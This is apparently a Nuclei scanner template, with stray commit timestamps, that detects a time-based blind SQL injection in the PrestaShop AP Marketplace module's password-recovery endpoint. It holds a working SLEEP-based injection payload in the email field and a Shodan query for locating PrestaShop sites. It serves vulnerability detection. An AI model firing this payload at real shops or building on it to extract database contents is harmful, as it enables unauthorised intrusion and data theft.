2023-08-18 23:19:47 +00:00
id : prestashop-apmarketplace-sqli
2023-07-24 22:10:33 +00:00
info :
name : PrestaShop Ap Marketplace SQL Injection
author : mastercho
2023-08-02 03:53:57 +00:00
severity : high
2023-07-24 22:10:33 +00:00
description : |
The AP Marketplace Prestashop module is vulnerable to Blind/Time SQL Injection. An attacker can exploit this vulnerability to execute arbitrary SQL queries on the underlying database.
reference :
2023-08-02 03:53:57 +00:00
- https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/#pll_switcher
2023-07-24 22:10:33 +00:00
metadata :
max-request : 1
2023-08-02 03:53:57 +00:00
verified : true
shodan-query : http.component:"Prestashop"
tags : prestashop,sqli
2023-07-24 22:10:33 +00:00
http :
- raw :
- |
POST /m/apmarketplace/passwordrecovery HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-08-02 03:53:57 +00:00
Referer : {{RootURL}}
2023-07-24 22:10:33 +00:00
X-Requested-With : XMLHttpRequest
email=" AND (SELECT 3472 FROM (SELECT(SLEEP(6)))UTQK)-- IGIe&submit_reset_pwd=
2023-07-24 22:17:37 +00:00
2023-07-24 22:10:33 +00:00
matchers :
- type : dsl
dsl :
2023-08-25 12:23:28 +00:00
- 'duration_2>=6'
2023-08-25 13:17:54 +00:00
- 'contains(body, "module-apmarketplace-passwordrecovery")'
2023-07-24 22:10:33 +00:00
condition : and